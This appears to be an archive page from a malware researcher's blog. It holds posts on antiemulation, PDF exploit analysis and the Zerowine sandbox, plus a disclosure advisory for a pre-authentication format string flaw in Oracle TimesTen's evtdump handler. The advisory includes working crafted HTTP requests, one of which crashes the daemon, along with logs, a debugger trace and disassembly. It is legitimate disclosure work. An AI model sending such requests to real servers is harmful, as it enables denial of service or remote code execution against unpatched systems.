Category Archives: Research

Antiemulation Techniques (Malware Tricks II)

From time to time, when reversing malware, I find new antiemulation techniques as they are widely used by malware to evade detection by AVs that uses emulation, however, it seems that no one wrote about them maybe because there are a lot or, maybe, because they aren’t very interesting. Anyway, a friend and I decided to look for antiemulation techniques and we found a bunch of them in just about 2 days. Surprise. Well, the following is a list of antiemulation techniques “found” by us.
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Analyzing PDF exploits with Pyew

Something I really hate to do when analyzing PDF malware exploits is to manually extract the streams and manually decode them to see the, typically, hidden JavaScript code, so I decided to extend the PDF plugin for Pyew to automatically see them. Now, with the new version of the plugin (download it from the Mercurial repository) we can see what filters are used in the exploit and, the most important thing, we can see the decoded streams, independently of how many filters are being used.
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Zerowine: Better reports, network conversations and bug fixes

Single user version of Zerowine

Yesterday I finished the (surely) last single-user version of Zerowine and added some interesting features to it. Many Zerowine users told me that the reports were very confusing and, yes, that’s true. I fixed this problem by adding new debugging channels to the currently latest stable version of Wine (1.1.10) and, well, the reports now are less confusing and more readable. The new debugging channels I added to Wine are the following:

  1. humanmalware: This channel shows in human readable format what the malware is doing.
  2. malware: Quite similar to the TRACE channel, but just logs the calls to APIs interesting for malware research.
  3. malwaredump: This channel shows the network conversations.
  4. malwarereg: Shows registry operations.
  5. malwarelib: Shows what libraries the malware is loading/unloading.

The following is an example report of running a malware in the sandbox with the latest features:

Zerowine reports with the new channels

Zerowine reports with the new channels

We can see how the malware connects to some remote web server, the HTTP query executed, the local file downloaded, etc… This in the “Report” section, in the “Signature” section we get just the “human readable” format of the report (as is normal, not as detailed as the “Report” section, however).

I also fixed various bugs (in both Wine and Zerowine) and Zerowine now is able to detect more anti-debugging techniques, to dump new malware formats and more secure. I removed some features in the patched version of Wine that are a bit insecure for malware analysis.

Well, and that’s all for the mono-user version (I will be releasing it this week, or at least I hope to do so). I will update this entry when the file I’m uploading to the Sourceforge.net finishes, and it’s very slow (really, a pain in the ass).

Multiuser Version of Zerowine

The new multi-user version of Zerowine will take a long while because it requires a lot of changes, however, many features are implemented right now (Queues, multiple malware analysis nodes, database support, etc…). The changes will be, mainly, architectural ones but not all. In example, I’m implementing right now new “engines” to analyze malware in other platforms: One IDA Pro based agent to execute the malware with the Bochs Debugger inside IDA, dump & analyze it and get an unpacked IDB database.

Other (possible) agent I’m planning is a Windows hooker to analyze the malware in a real Windows box (but the problem that comes to my mind is how to clean the environment automatically after the malware execution…).

Zerowine: Malware dumping and detection tricks [Updated]

Update: I released the new version now! Download the prebuilt QEmu virtual machine (or the source code) from here. Remember that the root’s password is ‘zerowine’. There is also another user account: ‘malware’ with password ‘malware’.

I recently added 3 new interesting features to Zerowine. The very first one is the ability to dump the malware from memory while running and analyze the memory. This way, strings and code hidden in a packed malware can be analyzed because it is completely unpacked, as in the following example showing the strings from a variant of the MyTob malware packed with MEW.

Zerowine: String analysis of the MyTob malware after dumping it from memory

Zerowine: String analysis of the MyTob malware after dumping it from memory

The memory dumps can also be downloaded for later analysis with IDA Pro. The dumping process is done from outside WINE with a Python script (/home/malware/bin/dump_process.py) that uses python-ptrace to attach to the running malware and dump the memory.

I added also signatures using this new feature to detect the most typical Virtual Machine detection tricks (such as the redpill trick or the VMWare’s backdoor).

In this screenshot you can see also the “Debugger detection tricks” section. The detection is done by analyzing the behavior of the malware. The following is an analysis of some Chinesse malware packed with Themida:

And, well, that’s all at the moment. The new version will be released (or at least I hope to do so) in a week.

Cheers!

Oracle TimesTen Remote Format String

Product Description

Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management.

Summary

The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server.

Affected versions

Oracle TimesTen prior to version 7.0.5.1.0.

Vulnerability

Oracle TimesTen’s timestend daemon is a simple web server that process the commands received from clients. Many of these commands are used without being authenticated, i.e., without the need for a username and password.

The command “evtdump” dumps to the internal log file the contents of an internal data structure. The pseudo-cgi evtdump only receives one parameter, called msg. The parameter “msg” is a text that will be printed to the log file before dumping the internal structure.

This parameter is vulnerable to a format string attack which leads to remote code execution before being authenticated. The vulnerability have been tested in Linux environments, although it appears to be vulnerable in all the supported platforms.

The following is an extract of a communication between a custom client and the timestend daemon (the output from the server is shown in the file /var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
(…)
19:05:07.01 Info:    : 18225: maind 22: socket closed, calling recovery (last cmd was 25)
19:05:19.07 Info:    : 18225: AAAA80a8a0c(null)
19:05:19.07 Info:    : 18225: mode     :  TTDL_NORMAL
19:05:19.07 Info:    : 18225: ctlfilename :  ”
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: nitems   :  7
19:05:19.07 Info:    : 18225: maxitems :  32
19:05:19.07 Info:    : 18225: cur_path :  (null)
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: items    :
19:05:19.07 Info:    : 18225:   item # 0  :
19:05:19.07 Info:    : 18225:     comp     : ALL
19:05:19.07 Info:    : 18225:     level    : 3
19:05:19.07 Info:    : 18225:     dsname   : (null)
(…)

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
19:05:19.08 Info:    : 18225: maind 23: socket closed, calling recovery (last cmd was 26)
19:06:18.49 Info:    : 18225: AAAA80a8a0c(null)(null)
19:06:18.49 Info:    : 18225: mode     :  TTDL_NORMAL
19:06:18.49 Info:    : 18225: ctlfilename :  ”
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: nitems   :  7
19:06:18.49 Info:    : 18225: maxitems :  32
19:06:18.49 Info:    : 18225: cur_path :  (null)
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: items    :
19:06:18.49 Info:    : 18225:   item # 0  :
19:06:18.49 Info:    : 18225:     comp     : ALL
19:06:18.49 Info:    : 18225:     level    : 3
19:06:18.49 Info:    : 18225:     dsname   : (null)
(…)

FROM CLIENT:

GET evtdump?msg=AAAA%25n HTTP/1.0

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
19:07:38.87 Err :    : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting…
19:07:39.54 Info:    : 18785: Listener terminating
19:07:39.54 Info:    : 18785: Listener exited, termination finishing
19:07:39.54 Info:    : 18785: Process termination complete
19:07:39.59 Info:    : 18791: Listener terminating
19:07:39.59 Info:    : 18782: Listener terminating
19:07:39.59 Info:    : 18788: Listener terminating
19:07:39.59 Info:    : 18791: Listener exited, termination finishing
19:07:39.59 Info:    : 18791: Process termination complete
19:07:39.59 Info:    : 18782: Listener exited, termination finishing
19:07:39.59 Info:    : 18782: Process termination complete
19:07:39.59 Info:    : 18788: Listener exited, termination finishing
19:07:39.59 Info:    : 18788: Process termination complete
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting
(…)

The last msg parameter’s value crashes the timestend daemon. Attaching with a debugger to the timestend daemon we can see the following dump when it crashes:

$ sudo /etc/init.d/tt_70 start &
(…)
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`
(…)
(gdb) c
(…)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1223386192 (LWP 18980)]
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) where
#0  0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#1  0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6
#2  0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so
#3  0x0807689f in ttdLogDump ()
#4  0x0805b138 in daHandler ()
#5  0x08073789 in handlerThread ()
#6  0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#7  0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0x0      0
ecx            0x4      4
edx            0x0      0
ebx            0xb77bbadc       -1216628004
esp            0xb71480c0       0xb71480c0
ebp            0xb71486e0       0xb71486e0
esi            0x0      0
edi            0xb714895c       -1223390884
eip            0xb76cf5c6       0xb76cf5c6 <vfprintf+14038>
(…)

The function ttdLogDump is called from daHandler as you can see in the backtrace. This function is the main handler for the internal timestend’s web server. This is the vulnerable function, ttdLogDump, which receives one argument (the msg parameter to the evtdump pseudo cgi):

.text:0807686D ttdLogDump      proc near               ; CODE XREF: daHandler+5F3p
  1. ()
  2. .text:08076879                 lea     eax, [ebp+argRet]
  3. .text:0807687C                 push    eax
  4. .text:0807687D                 push    [ebp+argMsg] ; User controlled string buffer
  5. .text:08076880                 push    0
  6. .text:08076882                 push    100h
  7. .text:08076887                 lea     esi, [ebp+buf]
  8. .text:0807688D                 call    $+5
  9. .text:08076892                 pop     ebx
  10. .text:08076893                 add     ebx, 3217Ah
  11. .text:08076899                 push    esi
  12. .text:0807689A                 call    _ttc_vsnprintf

The function ttc_vsnprintf makes a call internally to the vsnprintf function (in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to be printed the user supplied value passed to the “msg” argument:

.text:0001ADAA ttc_vsnprintf   proc near               ; CODE XREF: msgbuf_error+73p
  1. .text:0001ADAA                                         ; opt_error+83p …
  2. .text:0001ADAA
  3. ()
  4. .text:0001ADCE                 push    [ebp+arg]       ; arg
  5. .text:0001ADD1                 push    [ebp+argFormat] ; format
  6. .text:0001ADD4                 push    edi             ; maxlen
  7. .text:0001ADD5                 push    eax             ; s
  8. .text:0001ADD6                 call    _vsnprintf

Workaround

None.

Patch information

Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.

Contact Information

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References

Oracle TimesTen evtDump Remote Format String

CVE-2008-5440

Oracle Critical Patch Update January 2009

Professional Web

Disclaimer

The information in this advisory and any of its demonstrations is provided “as is” without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.